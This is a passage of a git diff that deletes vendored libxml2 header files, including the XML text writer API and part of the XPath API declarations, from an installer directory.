0 -#define LIBXML_DEBUG_ENABLED -#endif - -/** - * DEBUG_MEMORY_LOCATION: - * - * Whether the memory debugging is configured in - */ -#if 0 -#define DEBUG_MEMORY_LOCATION -#endif - -/** - * LIBXML_DEBUG_RUNTIME: - * - * Whether the runtime debugging is configured in - */ -#if 0 -#define LIBXML_DEBUG_RUNTIME -#endif - -/** - * LIBXML_UNICODE_ENABLED: - * - * Whether the Unicode related interfaces are compiled in - */ -#if 0 -#define LIBXML_UNICODE_ENABLED -#endif - -/** - * LIBXML_REGEXP_ENABLED: - * - * Whether the regular expressions interfaces are compiled in - */ -#if 0 -#define LIBXML_REGEXP_ENABLED -#endif - -/** - * LIBXML_AUTOMATA_ENABLED: - * - * Whether the automata interfaces are compiled in - */ -#if 0 -#define LIBXML_AUTOMATA_ENABLED -#endif - -/** - * LIBXML_EXPR_ENABLED: - * - * Whether the formal expressions interfaces are compiled in - */ -#if 0 -#define LIBXML_EXPR_ENABLED -#endif - -/** - * LIBXML_SCHEMAS_ENABLED: - * - * Whether the Schemas validation interfaces are compiled in - */ -#if 0 -#define LIBXML_SCHEMAS_ENABLED -#endif - -/** - * LIBXML_SCHEMATRON_ENABLED: - * - * Whether the Schematron validation interfaces are compiled in - */ -#if 0 -#define LIBXML_SCHEMATRON_ENABLED -#endif - -/** - * LIBXML_MODULES_ENABLED: - * - * Whether the module interfaces are compiled in - */ -#if 0 -#define LIBXML_MODULES_ENABLED -/** - * LIBXML_MODULE_EXTENSION: - * - * the string suffix used by dynamic modules (usually shared libraries) - */ -#define LIBXML_MODULE_EXTENSION "" -#endif - -/** - * LIBXML_ZLIB_ENABLED: - * - * Whether the Zlib support is compiled in - */ -#if 0 -#define LIBXML_ZLIB_ENABLED -#endif - -/** - * LIBXML_LZMA_ENABLED: - * - * Whether the Lzma support is compiled in - */ -#if 0 -#define LIBXML_LZMA_ENABLED -#endif - -#ifdef __GNUC__ -#ifdef HAVE_ANSIDECL_H -#include -#endif - -/** - * ATTRIBUTE_UNUSED: - * - * Macro used to signal to GCC unused function parameters - */ - -#ifndef ATTRIBUTE_UNUSED -# if ((__GNUC__ > 2) || ((__GNUC__ == 2) && (__GNUC_MINOR__ >= 7))) -# define ATTRIBUTE_UNUSED __attribute__((unused)) -# else -# define ATTRIBUTE_UNUSED -# endif -#endif - -/** - * LIBXML_ATTR_ALLOC_SIZE: - * - * Macro used to indicate to GCC this is an allocator function - */ - -#ifndef LIBXML_ATTR_ALLOC_SIZE -# if (!defined(__clang__) && ((__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 3)))) -# define LIBXML_ATTR_ALLOC_SIZE(x) __attribute__((alloc_size(x))) -# else -# define LIBXML_ATTR_ALLOC_SIZE(x) -# endif -#else -# define LIBXML_ATTR_ALLOC_SIZE(x) -#endif - -/** - * LIBXML_ATTR_FORMAT: - * - * Macro used to indicate to GCC the parameter are printf like - */ - -#ifndef LIBXML_ATTR_FORMAT -# if ((__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3))) -# define LIBXML_ATTR_FORMAT(fmt,args) __attribute__((__format__(__printf__,fmt,args))) -# else -# define LIBXML_ATTR_FORMAT(fmt,args) -# endif -#else -# define LIBXML_ATTR_FORMAT(fmt,args) -#endif - -#else /* ! __GNUC__ */ -/** - * ATTRIBUTE_UNUSED: - * - * Macro used to signal to GCC unused function parameters - */ -#define ATTRIBUTE_UNUSED -/** - * LIBXML_ATTR_ALLOC_SIZE: - * - * Macro used to indicate to GCC this is an allocator function - */ -#define LIBXML_ATTR_ALLOC_SIZE(x) -/** - * LIBXML_ATTR_FORMAT: - * - * Macro used to indicate to GCC the parameter are printf like - */ -#define LIBXML_ATTR_FORMAT(fmt,args) -#endif /* __GNUC__ */ - -#ifdef __cplusplus -} -#endif /* __cplusplus */ -#endif - - diff --git a/installer/libxml2/include/libxml/xmlwriter.h b/installer/libxml2/include/libxml/xmlwriter.h deleted file mode 100644 index dd5add3..0000000 --- a/installer/libxml2/include/libxml/xmlwriter.h +++ /dev/null @@ -1,488 +0,0 @@ -/* - * Summary: text writing API for XML - * Description: text writing API for XML - * - * Copy: See Copyright for the status of this software. - * - * Author: Alfred Mickautsch - */ - -#ifndef __XML_XMLWRITER_H__ -#define __XML_XMLWRITER_H__ - -#include - -#ifdef LIBXML_WRITER_ENABLED - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - - typedef struct _xmlTextWriter xmlTextWriter; - typedef xmlTextWriter *xmlTextWriterPtr; - -/* - * Constructors & Destructor - */ - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriter(xmlOutputBufferPtr out); - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriterFilename(const char *uri, int compression); - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriterMemory(xmlBufferPtr buf, int compression); - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriterPushParser(xmlParserCtxtPtr ctxt, int compression); - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriterDoc(xmlDocPtr * doc, int compression); - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriterTree(xmlDocPtr doc, xmlNodePtr node, - int compression); - XMLPUBFUN void XMLCALL xmlFreeTextWriter(xmlTextWriterPtr writer); - -/* - * Functions - */ - - -/* - * Document - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartDocument(xmlTextWriterPtr writer, - const char *version, - const char *encoding, - const char *standalone); - XMLPUBFUN int XMLCALL xmlTextWriterEndDocument(xmlTextWriterPtr - writer); - -/* - * Comments - */ - XMLPUBFUN int XMLCALL xmlTextWriterStartComment(xmlTextWriterPtr - writer); - XMLPUBFUN int XMLCALL xmlTextWriterEndComment(xmlTextWriterPtr writer); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatComment(xmlTextWriterPtr writer, - const char *format, ...) - LIBXML_ATTR_FORMAT(2,3); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatComment(xmlTextWriterPtr writer, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(2,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteComment(xmlTextWriterPtr - writer, - const xmlChar * - content); - -/* - * Elements - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartElement(xmlTextWriterPtr writer, - const xmlChar * name); - XMLPUBFUN int XMLCALL xmlTextWriterStartElementNS(xmlTextWriterPtr - writer, - const xmlChar * - prefix, - const xmlChar * name, - const xmlChar * - namespaceURI); - XMLPUBFUN int XMLCALL xmlTextWriterEndElement(xmlTextWriterPtr writer); - XMLPUBFUN int XMLCALL xmlTextWriterFullEndElement(xmlTextWriterPtr - writer); - -/* - * Elements conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatElement(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, ...) - LIBXML_ATTR_FORMAT(3,4); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatElement(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(3,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteElement(xmlTextWriterPtr - writer, - const xmlChar * name, - const xmlChar * - content); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatElementNS(xmlTextWriterPtr writer, - const xmlChar * prefix, - const xmlChar * name, - const xmlChar * namespaceURI, - const char *format, ...) - LIBXML_ATTR_FORMAT(5,6); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatElementNS(xmlTextWriterPtr writer, - const xmlChar * prefix, - const xmlChar * name, - const xmlChar * namespaceURI, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(5,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteElementNS(xmlTextWriterPtr - writer, - const xmlChar * - prefix, - const xmlChar * name, - const xmlChar * - namespaceURI, - const xmlChar * - content); - -/* - * Text - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatRaw(xmlTextWriterPtr writer, - const char *format, ...) - LIBXML_ATTR_FORMAT(2,3); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatRaw(xmlTextWriterPtr writer, - const char *format, va_list argptr) - LIBXML_ATTR_FORMAT(2,0); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteRawLen(xmlTextWriterPtr writer, - const xmlChar * content, int len); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteRaw(xmlTextWriterPtr writer, - const xmlChar * content); - XMLPUBFUN int XMLCALL xmlTextWriterWriteFormatString(xmlTextWriterPtr - writer, - const char - *format, ...) - LIBXML_ATTR_FORMAT(2,3); - XMLPUBFUN int XMLCALL xmlTextWriterWriteVFormatString(xmlTextWriterPtr - writer, - const char - *format, - va_list argptr) - LIBXML_ATTR_FORMAT(2,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteString(xmlTextWriterPtr writer, - const xmlChar * - content); - XMLPUBFUN int XMLCALL xmlTextWriterWriteBase64(xmlTextWriterPtr writer, - const char *data, - int start, int len); - XMLPUBFUN int XMLCALL xmlTextWriterWriteBinHex(xmlTextWriterPtr writer, - const char *data, - int start, int len); - -/* - * Attributes - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartAttribute(xmlTextWriterPtr writer, - const xmlChar * name); - XMLPUBFUN int XMLCALL xmlTextWriterStartAttributeNS(xmlTextWriterPtr - writer, - const xmlChar * - prefix, - const xmlChar * - name, - const xmlChar * - namespaceURI); - XMLPUBFUN int XMLCALL xmlTextWriterEndAttribute(xmlTextWriterPtr - writer); - -/* - * Attributes conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatAttribute(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, ...) - LIBXML_ATTR_FORMAT(3,4); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatAttribute(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(3,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteAttribute(xmlTextWriterPtr - writer, - const xmlChar * name, - const xmlChar * - content); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatAttributeNS(xmlTextWriterPtr writer, - const xmlChar * prefix, - const xmlChar * name, - const xmlChar * namespaceURI, - const char *format, ...) - LIBXML_ATTR_FORMAT(5,6); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatAttributeNS(xmlTextWriterPtr writer, - const xmlChar * prefix, - const xmlChar * name, - const xmlChar * namespaceURI, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(5,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteAttributeNS(xmlTextWriterPtr - writer, - const xmlChar * - prefix, - const xmlChar * - name, - const xmlChar * - namespaceURI, - const xmlChar * - content); - -/* - * PI's - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartPI(xmlTextWriterPtr writer, - const xmlChar * target); - XMLPUBFUN int XMLCALL xmlTextWriterEndPI(xmlTextWriterPtr writer); - -/* - * PI conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatPI(xmlTextWriterPtr writer, - const xmlChar * target, - const char *format, ...) - LIBXML_ATTR_FORMAT(3,4); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatPI(xmlTextWriterPtr writer, - const xmlChar * target, - const char *format, va_list argptr) - LIBXML_ATTR_FORMAT(3,0); - XMLPUBFUN int XMLCALL - xmlTextWriterWritePI(xmlTextWriterPtr writer, - const xmlChar * target, - const xmlChar * content); - -/** - * xmlTextWriterWriteProcessingInstruction: - * - * This macro maps to xmlTextWriterWritePI - */ -#define xmlTextWriterWriteProcessingInstruction xmlTextWriterWritePI - -/* - * CDATA - */ - XMLPUBFUN int XMLCALL xmlTextWriterStartCDATA(xmlTextWriterPtr writer); - XMLPUBFUN int XMLCALL xmlTextWriterEndCDATA(xmlTextWriterPtr writer); - -/* - * CDATA conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatCDATA(xmlTextWriterPtr writer, - const char *format, ...) - LIBXML_ATTR_FORMAT(2,3); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatCDATA(xmlTextWriterPtr writer, - const char *format, va_list argptr) - LIBXML_ATTR_FORMAT(2,0); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteCDATA(xmlTextWriterPtr writer, - const xmlChar * content); - -/* - * DTD - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartDTD(xmlTextWriterPtr writer, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid); - XMLPUBFUN int XMLCALL xmlTextWriterEndDTD(xmlTextWriterPtr writer); - -/* - * DTD conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatDTD(xmlTextWriterPtr writer, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid, - const char *format, ...) - LIBXML_ATTR_FORMAT(5,6); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatDTD(xmlTextWriterPtr writer, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid, - const char *format, va_list argptr) - LIBXML_ATTR_FORMAT(5,0); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteDTD(xmlTextWriterPtr writer, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid, - const xmlChar * subset); - -/** - * xmlTextWriterWriteDocType: - * - * this macro maps to xmlTextWriterWriteDTD - */ -#define xmlTextWriterWriteDocType xmlTextWriterWriteDTD - -/* - * DTD element definition - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartDTDElement(xmlTextWriterPtr writer, - const xmlChar * name); - XMLPUBFUN int XMLCALL xmlTextWriterEndDTDElement(xmlTextWriterPtr - writer); - -/* - * DTD element definition conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatDTDElement(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, ...) - LIBXML_ATTR_FORMAT(3,4); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatDTDElement(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(3,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteDTDElement(xmlTextWriterPtr - writer, - const xmlChar * - name, - const xmlChar * - content); - -/* - * DTD attribute list definition - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartDTDAttlist(xmlTextWriterPtr writer, - const xmlChar * name); - XMLPUBFUN int XMLCALL xmlTextWriterEndDTDAttlist(xmlTextWriterPtr - writer); - -/* - * DTD attribute list definition conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatDTDAttlist(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, ...) - LIBXML_ATTR_FORMAT(3,4); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatDTDAttlist(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(3,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteDTDAttlist(xmlTextWriterPtr - writer, - const xmlChar * - name, - const xmlChar * - content); - -/* - * DTD entity definition - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartDTDEntity(xmlTextWriterPtr writer, - int pe, const xmlChar * name); - XMLPUBFUN int XMLCALL xmlTextWriterEndDTDEntity(xmlTextWriterPtr - writer); - -/* - * DTD entity definition conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatDTDInternalEntity(xmlTextWriterPtr writer, - int pe, - const xmlChar * name, - const char *format, ...) - LIBXML_ATTR_FORMAT(4,5); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatDTDInternalEntity(xmlTextWriterPtr writer, - int pe, - const xmlChar * name, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(4,0); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteDTDInternalEntity(xmlTextWriterPtr writer, - int pe, - const xmlChar * name, - const xmlChar * content); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteDTDExternalEntity(xmlTextWriterPtr writer, - int pe, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid, - const xmlChar * ndataid); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteDTDExternalEntityContents(xmlTextWriterPtr - writer, - const xmlChar * pubid, - const xmlChar * sysid, - const xmlChar * - ndataid); - XMLPUBFUN int XMLCALL xmlTextWriterWriteDTDEntity(xmlTextWriterPtr - writer, int pe, - const xmlChar * name, - const xmlChar * - pubid, - const xmlChar * - sysid, - const xmlChar * - ndataid, - const xmlChar * - content); - -/* - * DTD notation definition - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteDTDNotation(xmlTextWriterPtr writer, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid); - -/* - * Indentation - */ - XMLPUBFUN int XMLCALL - xmlTextWriterSetIndent(xmlTextWriterPtr writer, int indent); - XMLPUBFUN int XMLCALL - xmlTextWriterSetIndentString(xmlTextWriterPtr writer, - const xmlChar * str); - - XMLPUBFUN int XMLCALL - xmlTextWriterSetQuoteChar(xmlTextWriterPtr writer, xmlChar quotechar); - - -/* - * misc - */ - XMLPUBFUN int XMLCALL xmlTextWriterFlush(xmlTextWriterPtr writer); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_WRITER_ENABLED */ - -#endif /* __XML_XMLWRITER_H__ */ diff --git a/installer/libxml2/include/libxml/xpath.h b/installer/libxml2/include/libxml/xpath.h deleted file mode 100644 index d96776c..0000000 --- a/installer/libxml2/include/libxml/xpath.h +++ /dev/null @@ -1,557 +0,0 @@ -/* - * Summary: XML Path Language implementation - * Description: API for the XML Path Language implementation - * - * XML Path Language implementation - * XPath is a language for addressing parts of an XML document, - * designed to be used by both XSLT and XPointer - * http://www.w3.org/TR/xpath - * - * Implements - * W3C Recommendation 16 November 1999 - * http://www.w3.org/TR/1999/REC-xpath-19991116 - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XPATH_H__ -#define __XML_XPATH_H__ - -#include - -#ifdef LIBXML_XPATH_ENABLED - -#include -#include -#include -#endif /* LIBXML_XPATH_ENABLED */ - -#if defined(LIBXML_XPATH_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -#ifdef __cplusplus -extern "C" { -#endif -#endif /* LIBXML_XPATH_ENABLED or LIBXML_SCHEMAS_ENABLED */ - -#ifdef LIBXML_XPATH_ENABLED - -typedef struct _xmlXPathContext xmlXPathContext; -typedef xmlXPathContext *xmlXPathContextPtr; -typedef struct _xmlXPathParserContext xmlXPathParserContext; -typedef xmlXPathParserContext *xmlXPathParserContextPtr; - -/** - * The set of XPath error codes. - */ - -typedef enum { - XPATH_EXPRESSION_OK = 0, - XPATH_NUMBER_ERROR, - XPATH_UNFINISHED_LITERAL_ERROR, - XPATH_START_LITERAL_ERROR, - XPATH_VARIABLE_REF_ERROR, - XPATH_UNDEF_VARIABLE_ERROR, - XPATH_INVALID_PREDICATE_ERROR, - XPATH_EXPR_ERROR, - XPATH_UNCLOSED_ERROR, - XPATH_UNKNOWN_FUNC_ERROR, - XPATH_INVALID_OPERAND, - XPATH_INVALID_TYPE, - XPATH_INVALID_ARITY, - XPATH_INVALID_CTXT_SIZE, - XPATH_INVALID_CTXT_POSITION, - XPATH_MEMORY_ERROR, - XPTR_SYNTAX_ERROR, - XPTR_RESOURCE_ERROR, - XPTR_SUB_RESOURCE_ERROR, - XPATH_UNDEF_PREFIX_ERROR, - XPATH_ENCODING_ERROR, - XPATH_INVALID_CHAR_ERROR, - XPATH_INVALID_CTXT, - XPATH_STACK_ERROR, - XPATH_FORBID_VARIABLE_ERROR -} xmlXPathError; - -/* - * A node-set (an unordered collection of nodes without duplicates). - */ -typedef struct _xmlNodeSet xmlNodeSet; -typedef xmlNodeSet *xmlNodeSetPtr; -struct _xmlNodeSet { - int nodeNr; /* number of nodes in the set */ - int nodeMax; /* size of the array as allocated */ - xmlNodePtr *nodeTab; /* array of nodes in no particular order */ - /* @@ with_ns to check wether namespace nodes should be looked at @@ */ -}; - -/* - * An expression is evaluated to yield an object, which - * has one of the following four basic types: - * - node-set - * - boolean - * - number - * - string - * - * @@ XPointer will add more types ! - */ - -typedef enum { - XPATH_UNDEFINED = 0, - XPATH_NODESET = 1, - XPATH_BOOLEAN = 2, - XPATH_NUMBER = 3, - XPATH_STRING = 4, - XPATH_POINT = 5, - XPATH_RANGE = 6, - XPATH_LOCATIONSET = 7, - XPATH_USERS = 8, - XPATH_XSLT_TREE = 9 /* An XSLT value tree, non modifiable */ -} xmlXPathObjectType; - -typedef struct _xmlXPathObject xmlXPathObject; -typedef xmlXPathObject *xmlXPathObjectPtr; -struct _xmlXPathObject { - xmlXPathObjectType type; - xmlNodeSetPtr nodesetval; - int boolval; - double floatval; - xmlChar *stringval; - void *user; - int index; - void *user2; - int index2; -}; - -/** - * xmlXPathConvertFunc: - * @obj: an XPath object - * @type: the number of the target type - * - * A conversion function is associated to a type and used to cast - * the new type to primitive values. - * - * Returns -1 in case of error, 0 otherwise - */ -typedef int (*xmlXPathConvertFunc) (xmlXPathObjectPtr obj, int type); - -/* - * Extra type: a name and a conversion function. - */ - -typedef struct _xmlXPathType xmlXPathType; -typedef xmlXPathType *xmlXPathTypePtr; -struct _xmlXPathType { - const xmlChar *name; /* the type name */ - xmlXPathConvertFunc func; /* the conversion function */ -}; - -/* - * Extra variable: a name and a value. - */ - -typedef struct _xmlXPathVariable xmlXPathVariable; -typedef xmlXPathVariable *xmlXPathVariablePtr; -struct _xmlXPathVariable { - const xmlChar *name; /* the variable name */ - xmlXPathObjectPtr value; /* the value */ -}; - -/** - * xmlXPathEvalFunc: - * @ctxt: an XPath parser context - * @nargs: the number of arguments passed to the function - * - * An XPath evaluation function, the parameters are on the XPath context stack. - */ - -typedef void (*xmlXPathEvalFunc)(xmlXPathParserContextPtr ctxt, - int nargs); - -/* - * Extra function: a name and a evaluation function. - */ - -typedef struct _xmlXPathFunct xmlXPathFunct; -typedef xmlXPathFunct *xmlXPathFuncPtr; -struct _xmlXPathFunct { - const xmlChar *name; /* the function name */ - xmlXPathEvalFunc func; /* the evaluation function */ -}; - -/** - * xmlXPathAxisFunc: - * @ctxt: the XPath interpreter context - * @cur: the previous node being explored on that axis - * - * An axis traversal function. To traverse an axis, the engine calls - * the first time with cur == NULL and repeat until the function returns - * NULL indicating the end of the axis traversal. - * - * Returns the next node in that axis or NULL if at the end of the axis. - */ - -typedef xmlXPathObjectPtr (*xmlXPathAxisFunc) (xmlXPathParserContextPtr ctxt, - xmlXPathObjectPtr cur); - -/* - * Extra axis: a name and an axis function. - */ - -typedef struct _xmlXPathAxis xmlXPathAxis; -typedef xmlXPathAxis *xmlXPathAxisPtr; -struct _xmlXPathAxis { - const xmlChar *name; /* the axis name */ - xmlXPathAxisFunc func; /* the search function */ -}; - -/** - * xmlXPathFunction: - * @ctxt: the XPath interprestation context - * @nargs: the number of arguments - * - * An XPath function. - * The arguments (if any) are popped out from the context stack - * and the result is pushed on the stack. - */ - -typedef void (*xmlXPathFunction) (xmlXPathParserContextPtr ctxt, int nargs); - -/* - * Function and Variable Lookup. - */ - -/** - * xmlXPathVariableLookupFunc: - * @ctxt: an XPath context - * @name: name of the variable - * @ns_uri: the namespace name hosting this variable - * - * Prototype for callbacks used to plug variable lookup in the XPath - * engine. - * - * Returns the XPath object value or NULL if not found. - */ -typedef xmlXPathObjectPtr (*xmlXPathVariableLookupFunc) (void *ctxt, - const xmlChar *name, - const xmlChar *ns_uri); - -/** - * xmlXPathFuncLookupFunc: - * @ctxt: an XPath context - * @name: name of the function - * @ns_uri: the namespace name hosting this function - * - * Prototype for callbacks used to plug function lookup in the XPath - * engine. - * - * Returns the XPath function or NULL if not found. - */ -typedef xmlXPathFunction (*xmlXPathFuncLookupFunc) (void *ctxt, - const xmlChar *name, - const xmlChar *ns_uri); - -/** - * xmlXPathFlags: - * Flags for XPath engine compilation and runtime - */ -/** - * XML_XPATH_CHECKNS: - * - * check namespaces at compilation - */ -#define XML_XPATH_CHECKNS (1<<0) -/** - * XML_XPATH_NOVAR: - * - * forbid variables in expression - */ -#define XML_XPATH_NOVAR (1<<1) - -/** - * xmlXPathContext: - * - * Expression evaluation occurs with respect to a context. - * he context consists of: - * - a node (the context node) - * - a node list (the context node list) - * - a set of variable bindings - * - a function library - * - the set of namespace declarations in scope for the expression - * Following the switch to hash tables, this need to be trimmed up at - * the next binary incompatible release. - * The node may be modified when the context is passed to libxml2 - * for an XPath evaluation so you may need to initialize it again - * before the next call. - */ - -struct _xmlXPathContext { - xmlDocPtr doc; /* The current document */ - xmlNodePtr node; /* The current node */ - - int nb_variables_unused; /* unused (hash table) */ - int max_variables_unused; /* unused (hash table) */ - xmlHashTablePtr varHash; /* Hash table of defined variables */ - - int nb_types; /* number of defined types */ - int max_types; /* max number of types */ - xmlXPathTypePtr types; /* Array of defined types */ - - int nb_funcs_unused; /* unused (hash table) */ - int max_funcs_unused; /* unused (hash table) */ - xmlHashTablePtr funcHash; /* Hash table of defined funcs */ - - int nb_axis; /* number of defined axis */ - int max_axis; /* max number of axis */ - xmlXPathAxisPtr axis; /* Array of defined axis */ - - /* the namespace nodes of the context node */ - xmlNsPtr *namespaces; /* Array of namespaces */ - int nsNr; /* number of namespace in scope */ - void *user; /* function to free */ - - /* extra variables */ - int contextSize; /* the context size */ - int proximityPosition; /* the proximity position */ - - /* extra stuff for XPointer */ - int xptr; /* is this an XPointer context? */ - xmlNodePtr here; /* for here() */ - xmlNodePtr origin; /* for origin() */ - - /* the set of namespace declarations in scope for the expression */ - xmlHashTablePtr nsHash; /* The namespaces hash table */ - xmlXPathVariableLookupFunc varLookupFunc;/* variable lookup func */ - void *varLookupData; /* variable lookup data */ - - /* Possibility to link in an extra item */ - void *extra; /* needed for XSLT */ - - /* The function name and URI when calling a function */ - const xmlChar *function; - const xmlChar *functionURI; - - /* function lookup function and data */ - xmlXPathFuncLookupFunc funcLookupFunc;/* function lookup func */ - void *funcLookupData; /* function lookup data */ - - /* temporary namespace lists kept for walking the namespace axis */ - xmlNsPtr *tmpNsList; /* Array of namespaces */ - int tmpNsNr; /* number of namespaces in scope */ - - /* error reporting mechanism */ - void *userData; /* user specific data block */ - xmlStructuredErrorFunc error; /* the callback in case of errors */ - xmlError lastError; /* the last error */ - xmlNodePtr debugNode; /* the source node XSLT */ - - /* dictionary */ - xmlDictPtr dict; /* dictionary if any */ - - int flags; /* flags to control compilation */ - - /* Cache for reusal of XPath objects */ - void *cache; -}; - -/* - * The structure of a compiled expression form is not public. - */ - -typedef struct _xmlXPathCompExpr xmlXPathCompExpr; -typedef xmlXPathCompExpr *xmlXPathCompExprPtr; - -/** - * xmlXPathParserContext: - * - * An XPath parser context. It contains pure parsing informations, - * an xmlXPathContext, and the stack of objects. - */ -struct _xmlXPathParserContext { - const xmlChar *cur; /* the current char being parsed */ - const xmlChar *base; /* the full expression */ - - int error; /* error code */ - - xmlXPathContextPtr context; /* the evaluation context */ - xmlXPathObjectPtr value; /* the current value */ - int valueNr; /* number of values stacked */ - int valueMax; /* max number of values stacked */ - xmlXPathObjectPtr *valueTab; /* stack of values */ - - xmlXPathCompExprPtr comp; /* the precompiled expression */ - int xptr; /* it this an XPointer expression */ - xmlNodePtr ancestor; /* used for walking preceding axis */ - - int valueFrame; /* used to limit Pop on the stack */ -}; - -/************************************************************************ - * * - * Public API * - * * - ************************************************************************/ - -/** - * Objects and Nodesets handling - */ - -XMLPUBVAR double xmlXPathNAN; -XMLPUBVAR double xmlXPathPINF; -XMLPUBVAR double xmlXPathNINF; - -/* These macros may later turn into functions */ -/** - * xmlXPathNodeSetGetLength: - * @ns: a node-set - * - * Implement a functionality similar to the DOM NodeList.length. - * - * Returns the number of nodes in the node-set. - */ -#define xmlXPathNodeSetGetLength(ns) ((ns) ? (ns)->nodeNr : 0) -/** - * xmlXPathNodeSetItem: - * @ns: a node-set - * @index: index of a node in the set - * - * Implements a functionality similar to the DOM NodeList.item(). - * - * Returns the xmlNodePtr at the given @index in @ns or NULL if - * @index is out of range (0 to length-1) - */ -#define xmlXPathNodeSetItem(ns, index) \ - ((((ns) != NULL) && \ - ((index) >= 0) && ((index) < (ns)->nodeNr)) ? \ - (ns)->nodeTab[(index)] \ - : NULL) -/** - * xmlXPathNodeSetIsEmpty: - * @ns: a node-set - * - * Checks whether @ns is empty or not. - * - * Returns %TRUE if @ns is an empty node-set. - */ -#define xmlXPathNodeSetIsEmpty(ns) \ - (((ns) == NULL) || ((ns)->nodeNr == 0) || ((ns)->nodeTab == NULL)) - - -XMLPUBFUN void XMLCALL - xmlXPathFreeObject (xmlXPathObjectPtr obj); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeSetCreate (xmlNodePtr val); -XMLPUBFUN void XMLCALL - xmlXPathFreeNodeSetList (xmlXPathObjectPtr obj); -XMLPUBFUN void XMLCALL - xmlXPathFreeNodeSet (xmlNodeSetPtr obj); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathObjectCopy (xmlXPathObjectPtr val); -XMLPUBFUN int XMLCALL - xmlXPathCmpNodes (xmlNodePtr node1, - xmlNodePtr node2); -/** - * Conversion functions to basic types. - */ -XMLPUBFUN int XMLCALL - xmlXPathCastNumberToBoolean (double val); -XMLPUBFUN int XMLCALL - xmlXPathCastStringToBoolean (const xmlChar * val); -XMLPUBFUN int XMLCALL - xmlXPathCastNodeSetToBoolean(xmlNodeSetPtr ns); -XMLPUBFUN int 